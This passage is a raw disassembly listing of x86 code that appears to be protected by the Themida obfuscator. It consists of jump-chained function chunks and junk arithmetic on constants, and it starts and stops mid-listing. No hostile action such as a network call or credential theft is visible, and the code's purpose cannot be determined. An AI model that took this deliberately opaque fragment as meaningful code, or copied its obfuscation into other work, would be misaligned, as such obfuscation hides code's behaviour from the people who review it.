jmp loc_5545C7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_55A50C: ; CODE XREF: sub_555B85+5FC0j
sub ebp, 22784976h
jmp loc_5516B1
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A517: ; CODE XREF: sub_556A70-1F20j
shr eax, 3
add eax, 4AC17F77h
sub eax, 1
xor eax, 56CA0732h
xor eax, 4232DF7Eh
mov ebp, eax
jmp loc_5585B1
; ---------------------------------------------------------------------------
loc_55A533: ; CODE XREF: sub_556A70-1852j
sub edx, eax
jmp loc_555D9E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov cx, [esp]
push 61C8h
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], ebp
jmp loc_55735D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A556: ; CODE XREF: sub_556A70+46C2j
mov eax, 0B740A73Dh
jmp loc_552F30
; ---------------------------------------------------------------------------
loc_55A560: ; CODE XREF: sub_556A70+570Ej
mov [esp-6+arg_0+2], ebx
jmp loc_555730
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A568: ; CODE XREF: Themida_:0055CFC1j
push dword ptr [esp]
jmp loc_55AE74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55A570: ; CODE XREF: sub_5566B9+283Dj
add ebx, eax
pop eax
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
and ecx, eax
push [esp+8+var_8]
pop eax
add esp, 4
shr ecx, 7
jmp loc_554832
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A58E: ; CODE XREF: sub_556A70+4FCDj
pop esi
jmp loc_55CC3E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A594: ; CODE XREF: Themida_:00550BB0j
sub esp, 4
mov [esp], edx
push ebx
mov bh, 0A7h
xchg dh, bh
jmp loc_553576
; ---------------------------------------------------------------------------
loc_55A5A7: ; CODE XREF: Themida_:00559840j
push 38h
jmp loc_55578E
; ---------------------------------------------------------------------------
loc_55A5B1: ; CODE XREF: Themida_:0055BD54j
push esi
mov esi, esp
add esi, 4
jmp loc_55162D
; ---------------------------------------------------------------------------
loc_55A5BF: ; CODE XREF: Themida_:0055BE71j
shl dword ptr [esp], cl
pushf
jmp loc_559D2F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A5C8: ; CODE XREF: sub_556A70-4C84j
mov [eax], ecx
mov eax, [esp-0Ch+arg_8]
jmp loc_55114B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A5D2: ; CODE XREF: Themida_:00554A40j
add eax, esi
pop esi
push 1CA4h
jmp loc_55100A
; =============== S U B R O U T I N E =======================================
sub_55A5DF proc near ; CODE XREF: sub_5553D0-1D94j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C805 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ch, 60h
shl ch, 8
inc ch
shr ch, 3
shr ch, 5
xor ch, 31h
add bl, 0F4h
add bl, ch
sub bl, 0F4h
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_55C805
sub_55A5DF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A60B: ; CODE XREF: sub_556A70-329Ej
push [esp+8+var_4]
pop eax
pop [esp+8+var_8]
pop esp
mov ax, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_558007
; ---------------------------------------------------------------------------
loc_55A626: ; CODE XREF: sub_556A70-27DCj
push dword ptr [esp+0]
pop eax
push esi
mov esi, esp
add esi, 4
jmp loc_5543DC
; ---------------------------------------------------------------------------
loc_55A638: ; CODE XREF: sub_556A70+3A72j
push dword ptr [esp+0]
pop ebp
push 5814h
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
push 4096h
jmp loc_55841A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_55A656: ; CODE XREF: sub_55B730-1D53j
sub [edi+24h], ebp
jmp loc_553EF5
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
loc_55A65E: ; CODE XREF: Themida_:005512F8j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55A663: ; CODE XREF: Themida_:00551633j
xchg esi, [esp]
pop esp
push ebp
mov ebp, 2
sub edi, 2DF96E72h
jmp loc_55BFCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A678: ; CODE XREF: sub_556A70+2704j
xchg ecx, [esp+0]
pop esp
and eax, edx
jmp loc_55AE4E
; ---------------------------------------------------------------------------
loc_55A683: ; CODE XREF: sub_556A70+5C58j
shr ebx, 5
or ebx, 39291308h
shr ebx, 3
push ebp
mov ebp, 0F8881895h
jmp loc_5523E5
; ---------------------------------------------------------------------------
loc_55A69A: ; CODE XREF: sub_556A70+2B1Dj
mov ebx, [esp-4+arg_0]
push edi
mov edi, esp
add edi, 4
jmp loc_555E00
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A6AB: ; CODE XREF: Themida_:005529CAj
xor al, bh
mov ebx, [esp]
add esp, 4
jmp loc_555336
; ---------------------------------------------------------------------------
loc_55A6BB: ; CODE XREF: Themida_:0055A7C8j
add eax, esi
pop esi
jmp loc_55139B
; ---------------------------------------------------------------------------
loc_55A6C3: ; CODE XREF: Themida_:00551868j
mov esi, esp
sub esp, 4
jmp loc_5554CA
; =============== S U B R O U T I N E =======================================
sub_55A6CD proc near ; CODE XREF: sub_552E24-C7Dj
; FUNCTION CHUNK AT 005535E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557FB9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055991D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CDD7 SIZE 0000000B BYTES
push ebp
mov ebp, 4
add esi, ebp
pop ebp
jmp loc_5535E0
sub_55A6CD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5582B3
loc_55A6DB: ; CODE XREF: sub_5582B3-46E7j
mov edi, 643B3D27h
add edi, 9BC4C2DDh
jmp loc_55C9B2
; END OF FUNCTION CHUNK FOR sub_5582B3
; ---------------------------------------------------------------------------
loc_55A6EB: ; CODE XREF: Themida_:00554233j
mov [esp], edx
jmp loc_554014
; ---------------------------------------------------------------------------
loc_55A6F3: ; CODE XREF: Themida_:0055A501j
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_553C7D
; =============== S U B R O U T I N E =======================================
sub_55A704 proc near ; CODE XREF: sub_556A70+192Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B053 SIZE 0000003B BYTES
push ebp
mov ebp, 4
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_55B053
sub_55A704 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55A719: ; CODE XREF: sub_5539DB+576Bj
push edx
mov edx, 2F406A46h
jmp loc_558EFB
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A724: ; CODE XREF: sub_556A70+63F2j
push 2B74h
jmp loc_5571FF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A72E: ; CODE XREF: Themida_:0055823Aj
push small 1145h
mov [esp], dx
jmp loc_552953
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A73B: ; CODE XREF: sub_556A70-3B05j
mov ebp, ecx
sub esp, 4
mov [esp+4+var_4], ebp
jmp sub_5557A0
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55A748 proc near ; CODE XREF: sub_556A70-19C4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00551784 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552DFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005545E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555C74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555FB4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558A07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00559335 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559BE9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C1F6 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov dh, 0E5h
and dh, 0A0h
or dh, 6Fh
dec dh
and dh, 0F1h
xor dh, 5Ah
jmp loc_558A07
sub_55A748 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554BBA
loc_55A766: ; CODE XREF: sub_554BBA-276Aj
add esi, 4
xchg esi, [esp-8+arg_4]
jmp loc_55231F
; END OF FUNCTION CHUNK FOR sub_554BBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55A771: ; CODE XREF: sub_5539DB+Ej
mov edx, 4C4F41AEh
inc edx
xor edx, 35CB474Bh
and edx, 2AC801E2h
sub edx, 0B953A681h
or edi, edx
pop edx
shl edi, 5
push edi
xchg edi, [esp+0Ch+var_C]
not edi
jmp loc_551374
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553657
loc_55A79A: ; CODE XREF: sub_553657+84A9j
xor ebx, eax
push small word ptr [eax]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_553657
; ---------------------------------------------------------------------------
loc_55A7A4: ; CODE XREF: Themida_:005519A1j
add esp, 4
mov dh, al
pop eax
push eax
jmp loc_556E94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A7B0: ; CODE XREF: sub_556A70+CF4j
add edx, 4
jmp loc_559FB8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A7BB: ; CODE XREF: Themida_:00552531j
push esp
pop eax
add eax, 4
push esi
mov esi, 4
jmp loc_55A6BB
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2BB9h
mov [esp], edx
push esp
pop edx
add edx, 4
jmp loc_5598AB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A7E6: ; CODE XREF: sub_556A70+15AFj
add esp, 4
jmp loc_557CBC
; ---------------------------------------------------------------------------
loc_55A7F1: ; CODE XREF: sub_556A70+1FDj
mov eax, [esp+0]
add esp, 4
add esp, 4
jmp loc_552622
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A7FF: ; CODE XREF: Themida_:00558002j
sub edx, 1B7975C1h
add edx, ebx
jmp loc_55982A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A9A4
loc_55A80C: ; CODE XREF: sub_55A9A4-4ADCj
shr cl, 2
shr cl, 6
add cl, 3Ch
add bl, cl
mov ecx, [esp-4+arg_0]
jmp loc_559F06
; END OF FUNCTION CHUNK FOR sub_55A9A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A81F: ; CODE XREF: sub_556A70+23F2j
sub eax, edi
push ecx
jmp loc_555B07
; ---------------------------------------------------------------------------
loc_55A827: ; CODE XREF: sub_556A70+CC6j
sub ecx, 436B7536h
jmp loc_558077
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A832: ; CODE XREF: Themida_:0055235Fj
not edx
and edx, 471B053Ch
jmp loc_557193
; ---------------------------------------------------------------------------
loc_55A83F: ; CODE XREF: Themida_:00558E4Cj
xor ecx, 41548009h
jmp loc_55242F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_55A84A: ; CODE XREF: sub_553B16+4D25j
sub [esp+arg_0], ebp
add [esp+arg_0], 50A97A7Eh
pop ebp
mov eax, [esp-4+arg_0]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
pop esp
push edx
mov edx, 62B805BAh
push edx
push eax
pop edx
jmp loc_552FB8
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A87B: ; CODE XREF: sub_556A70-B6j
xor edi, 3AFF6EE2h
add ebx, 31921E65h
jmp loc_5595AE
; ---------------------------------------------------------------------------
loc_55A88C: ; CODE XREF: sub_556A70-3B3Ej
pop eax
xor edx, ebp
pop ebp
xor edx, 2A116D2Ah
jmp loc_55C57B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A89B: ; CODE XREF: Themida_:00559365j
pop eax
shl ebx, 7
jmp loc_5515D6
; ---------------------------------------------------------------------------
loc_55A8A4: ; CODE XREF: Themida_:0055B809j
mov ebx, 38F1176Fh
and ebp, ebx
pop ebx
push edi
push 345E3DACh
pop edi
sub edi, 36A23FA2h
inc edi
add edi, 77FA28ADh
sub ebp, edi
pop edi
push ecx
mov ecx, 75051178h
add ebp, ecx
jmp loc_55CE23
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55A8D0: ; CODE XREF: sub_5584F8+47E2j
and edx, ebx
pop ebx
jmp loc_558DB9
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_55A8D8: ; CODE XREF: sub_551E74+2A4Fj
add ebx, edi
add ebx, 537929D8h
pop edi
push eax
jmp loc_55C1DB
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A8E7: ; CODE XREF: sub_556A70-467Ej
add esp, 4
jmp loc_5560EE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A8F2: ; CODE XREF: Themida_:0055A20Dj
add eax, 2A525CFBh
jmp loc_558C5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A8FC: ; CODE XREF: sub_556A70+24CAj
push [esp-8+arg_4]
mov ebp, [esp-4+arg_0]
add esp, 4
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55A913: ; CODE XREF: sub_556A70+572Dj
add eax, ecx
pop ecx
pop ebx
push 5C6Ah
mov [esp-10h+arg_C], esi
mov esi, 1A3436ADh
add ebx, esi
jmp loc_551D4F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55A92B: ; CODE XREF: sub_5584F8+CF8j
push 1EF73FCAh
pop ebp
jmp loc_556238
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A936: ; CODE XREF: sub_556A70-546Dj
pop edi
jmp loc_55B529
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A93C: ; CODE XREF: Themida_:00550B43j
not edx
shl edx, 5
sub edx, 0E8293FDCh
add ebx, edx
pop edx
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
push 59B3h
mov [esp], eax
mov eax, esp
jmp loc_55CC45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A966: ; CODE XREF: sub_556A70+3F6Dj
add esp, 4
sub bl, 72h
add al, bl
mov ebx, [esp+8+var_8]
add esp, 4
push 7F24h
mov [esp+8+var_8], edx
push 6EBDh
mov [esp+0Ch+var_C], ecx
mov ch, 0FCh
jmp loc_55BA42
; ---------------------------------------------------------------------------
loc_55A98E: ; CODE XREF: sub_556A70+4280j
mov ax, word ptr [esp+0Ch+var_C]
push 4312h
mov [esp+10h+var_10], ecx
push 505Ch
jmp loc_55C007
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55A9A4 proc near ; CODE XREF: sub_559F2D+15B0j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00555EC5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00559F06 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055A80C SIZE 00000013 BYTES
push ebx
mov bh, 0D6h
sub bh, 0C8h
add bh, 4
not bh
add bh, 0DBh
mov al, bh
pop ebx
jmp loc_555EC5
sub_55A9A4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55A9BA: ; CODE XREF: sub_556A70+C2j
add edi, 463A5171h
jmp loc_552F96
; ---------------------------------------------------------------------------
loc_55A9C5: ; CODE XREF: sub_556A70+1432j
xor eax, ebx
jmp loc_55510D
; ---------------------------------------------------------------------------
loc_55A9CC: ; CODE XREF: sub_556A70-4441j
mov [esp+0], esp
add dword ptr [esp+0], 4
pop eax
jmp loc_559AB1
; ---------------------------------------------------------------------------
loc_55A9DC: ; CODE XREF: sub_556A70-C2Fj
pop ecx
jmp loc_55A966
; ---------------------------------------------------------------------------
loc_55A9E2: ; CODE XREF: sub_556A70-5683j
shl ch, 7
not ch
and ch, 3Eh
not ch
add ch, 0B2h
sub ah, ch
pop ecx
inc ah
push ebx
push eax
jmp sub_553D17
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55A9FB: ; CODE XREF: Themida_:005535B3j
xor ebx, eax
mov dx, [esp]
push 6F6Ch
mov [esp], esi
push esp
pop esi
add esi, 4
push edx
sub esp, 4
mov [esp], edi
mov edi, 25405218h
sub edi, 60944A77h
push eax
mov eax, 0C4AC079Fh
jmp loc_55AF79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AA31: ; CODE XREF: sub_556A70-5C49j
push esi
sub esp, 4
jmp loc_557B60
; ---------------------------------------------------------------------------
loc_55AA3A: ; CODE XREF: sub_556A70+6ACj
mov edx, 22D275C8h
xor edx, edi
xor edi, edx
xor edx, edi
not edi
jmp loc_551858
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AA4C: ; CODE XREF: Themida_:00558868j
push dword ptr [edi+eax*4]
push ebx
mov ebx, 31EF64ACh
xor [esp+4], ebx
pop ebx
jmp loc_55BB5E
; =============== S U B R O U T I N E =======================================
sub_55AA5F proc near ; CODE XREF: sub_556A70-54B7j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00550B76 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00550E79 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00552536 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00552B13 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005532C6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00553CE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005545E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005588EB SIZE 00000008 BYTES
push ebx
mov ebx, 278A541Ah
neg ebx
inc ebx
or ebx, 6809562Dh
xor ebx, 9F4501Eh
or ebx, 2ED566F5h
jmp loc_552B13
sub_55AA5F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_55AA7F: ; CODE XREF: sub_552634+737Dj
add edx, eax
add edx, 4DA278CDh
push esi
push edx
mov edx, 8FF7D52h
jmp loc_554075
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AA93: ; CODE XREF: sub_556A70+4225j
mov [esp+1Ch+var_1C], ecx
mov ecx, 4
jmp loc_550AEF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AAA0: ; CODE XREF: Themida_:0055940Fj
xor al, 9Dh
add bl, 34h
jmp loc_551C85
; ---------------------------------------------------------------------------
loc_55AAAA: ; CODE XREF: Themida_:00558333j
inc ecx
push edx
mov edx, 54EA68BEh
jmp loc_55AB22
; ---------------------------------------------------------------------------
loc_55AAB6: ; CODE XREF: Themida_:005510FCj
mov eax, 7B631707h
add eax, 0E3D9265Dh
mov ebx, eax
jmp loc_553951
; ---------------------------------------------------------------------------
loc_55AAC7: ; CODE XREF: Themida_:0055C8ACj
add esi, 4F521115h
sub esi, 7B195AD8h
push ebx
push 3E6D45D8h
pop ebx
xor ebx, 31B85802h
add esi, ebx
pop ebx
add esi, eax
push ecx
mov ecx, 292D7D3Ah
shr ecx, 7
or ecx, 3B3B1815h
add ecx, 0D459C2DBh
sub esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 7B195AD8h
push ecx
mov ecx, 1C5D150Dh
sub ecx, 4BCD16B3h
add ecx, 21697089h
jmp loc_558E49
; ---------------------------------------------------------------------------
loc_55AB22: ; CODE XREF: Themida_:0055AAB1j
sub edx, 23FE11C0h
jmp loc_556FB6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AB2D: ; CODE XREF: sub_556A70-99Aj
mov [esp-14h+arg_10], ebx
jmp loc_555CF3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AB35: ; CODE XREF: Themida_:0055615Bj
add ebx, 53F14A0h
mov edx, ebx
pop ebx
sub edx, 0FFFFFFFFh
xor edx, 6E42A2Ch
xchg ebx, edx
not ebx
xchg ebx, edx
sub edx, 0A6F0B059h
add ebx, edx
jmp loc_555F5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AB5A: ; CODE XREF: sub_556A70-3E34j
xor edx, [esp-4+arg_0]
pop esp
push edx
jmp loc_556036
; ---------------------------------------------------------------------------
loc_55AB64: ; CODE XREF: sub_556A70+33CCj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp-12h+arg_C+2]
mov esp, [esp-12h+arg_C+2]
mov [esp-12h+arg_C+2], ebp
push 43C1h
jmp loc_552011
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AB86: ; CODE XREF: Themida_:00555C69j
mov esi, [esp]
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AB94: ; CODE XREF: sub_556A70+1C1Dj
pop eax
xchg edi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ebx
push ecx
push ebp
jmp loc_559C32
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55ABA3 proc near ; CODE XREF: sub_556A70+A5j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00550CE4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00552F51 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055CD74 SIZE 00000011 BYTES
push ebp
push 746F6DBAh
pop ebp
add ebp, 0FFFFFFFFh
jmp loc_55CD74
sub_55ABA3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55ABB5: ; CODE XREF: sub_556A70-315Ej
xchg edi, [esp-18h+arg_14]
pop esp
mov [esp-1Ch+arg_18], eax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55ABC1: ; CODE XREF: sub_556A70+563Dj
add edx, ecx
pop ecx
sub edx, 0DEE561BAh
push edx
sub [esp-1Ch+arg_18], 338B101Bh
pop edi
add edi, 338B101Bh
pop edx
and ebx, edi
mov edi, [esp-24h+arg_20]
push 430Fh
mov [esp-20h+arg_1C], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp-20h+arg_1C]
xor [esp-20h+arg_1C], edx
jmp loc_5514FA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55ABFD: ; CODE XREF: Themida_:00558F8Bj
add ebx, edx
pop edx
add ebx, 3226997h
sub esp, 4
jmp loc_557CE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AC11: ; CODE XREF: sub_556A70+3ADj
push [esp-4+arg_4]
pop eax
pop [esp-4+arg_0]
pop esp
push [esp-0Ch+arg_8]
push [esp-8+arg_4]
pop ecx
sub esp, 4
jmp loc_55A0FE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AC2C: ; CODE XREF: Themida_:005585A0j
push esi
mov esi, 1C227E27h
jmp loc_555370
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B403
loc_55AC37: ; CODE XREF: sub_55B403-6CEBj
mov ah, bl
jmp loc_559DCE
; END OF FUNCTION CHUNK FOR sub_55B403
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AC3E: ; CODE XREF: sub_556A70-5448j
add edi, ebx
pop ebx
add edi, 4
xor edi, [esp-0Ch+arg_8]
xor [esp-0Ch+arg_8], edi
xor edi, [esp-0Ch+arg_8]
pop esp
add esi, 4
push esi
push [esp-0Ch+arg_C]
jmp loc_552421
; ---------------------------------------------------------------------------
loc_55AC5B: ; CODE XREF: sub_556A70-2E3Cj
mov edx, 2
add ecx, edx
pop edx
push ecx
push [esp+0Ch+var_8]
pop ecx
jmp loc_556689
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AC6E: ; CODE XREF: Themida_:0055A316j
add esi, edi
mov edi, [esp]
add esp, 4
jmp loc_556B88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AC7B: ; CODE XREF: sub_556A70-5434j
mov eax, esp
push edx
mov edx, 4
add eax, 73906D89h
add eax, edx
sub eax, 73906D89h
pop edx
push 78D3h
jmp loc_55AA93
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push eax
push ecx
mov ecx, 408776E4h
push edx
mov edx, 31780468h
sub edx, 0BA4BDD2Ch
xor ecx, edx
pop edx
and ecx, 9A0352Eh
jmp loc_55263A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55ACBB: ; CODE XREF: sub_556A70-7F6j
add esp, 4
mov ebx, [esp-4+arg_0]
add esp, 4
loc_55ACC7: ; CODE XREF: sub_556A70-70Aj
push 3E5Ch
mov [esp-4+arg_0], ebp
push ebx
pop ebp
sub esp, 4
jmp loc_552BE2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55ACDC: ; CODE XREF: Themida_:005525C5j
sub esp, 4
jmp loc_558278
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55ACE7: ; CODE XREF: sub_556A70+9E1j
xor [esp-26h+arg_20+2], ebp
xor ebp, [esp-26h+arg_20+2]
mov esp, [esp-26h+arg_20+2]
jmp loc_55A98E
; ---------------------------------------------------------------------------
loc_55ACF5: ; CODE XREF: sub_556A70+319Cj
add esp, 4
push esi
mov esi, 47FB37A2h
sub ebx, 50330778h
sub ebx, esi
add ebx, 50330778h
push [esp-2Eh+arg_28+2]
pop esi
jmp loc_55B153
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AD18: ; CODE XREF: Themida_:005569A3j
mov ebx, 4
add esi, ebx
jmp loc_5589C6
; ---------------------------------------------------------------------------
loc_55AD24: ; CODE XREF: Themida_:0055BFB4j
pop edx
push bx
mov bh, 86h
add ch, 88h
jmp loc_552AC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AD31: ; CODE XREF: sub_556A70+DEEj
pop esi
inc edi
jmp loc_55327A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AD38: ; CODE XREF: Themida_:00557D11j
push 47A8h
mov [esp], ebp
push 6EB1h
mov [esp], edx
mov edx, 5FF9A502h
push ecx
jmp loc_5575FE
; ---------------------------------------------------------------------------
loc_55AD53: ; CODE XREF: Themida_:005559A5j
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
jmp loc_5528C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_55AD65: ; CODE XREF: sub_55B730-A98Bj
or ebx, ebp
pop ebp
add ebx, 3312FADFh
push 0F8BCD972h
jmp loc_55601C
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AD78: ; CODE XREF: sub_556A70-D6j
shl bh, 2
jmp loc_551DA3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55AD80: ; CODE XREF: Themida_:0055CED3j
sub eax, 73C0129h
xor eax, 4D2E6911h
sub ebp, eax
pop eax
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_55792B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55AD9B: ; CODE XREF: sub_556A70-2407j
or esi, eax
pop eax
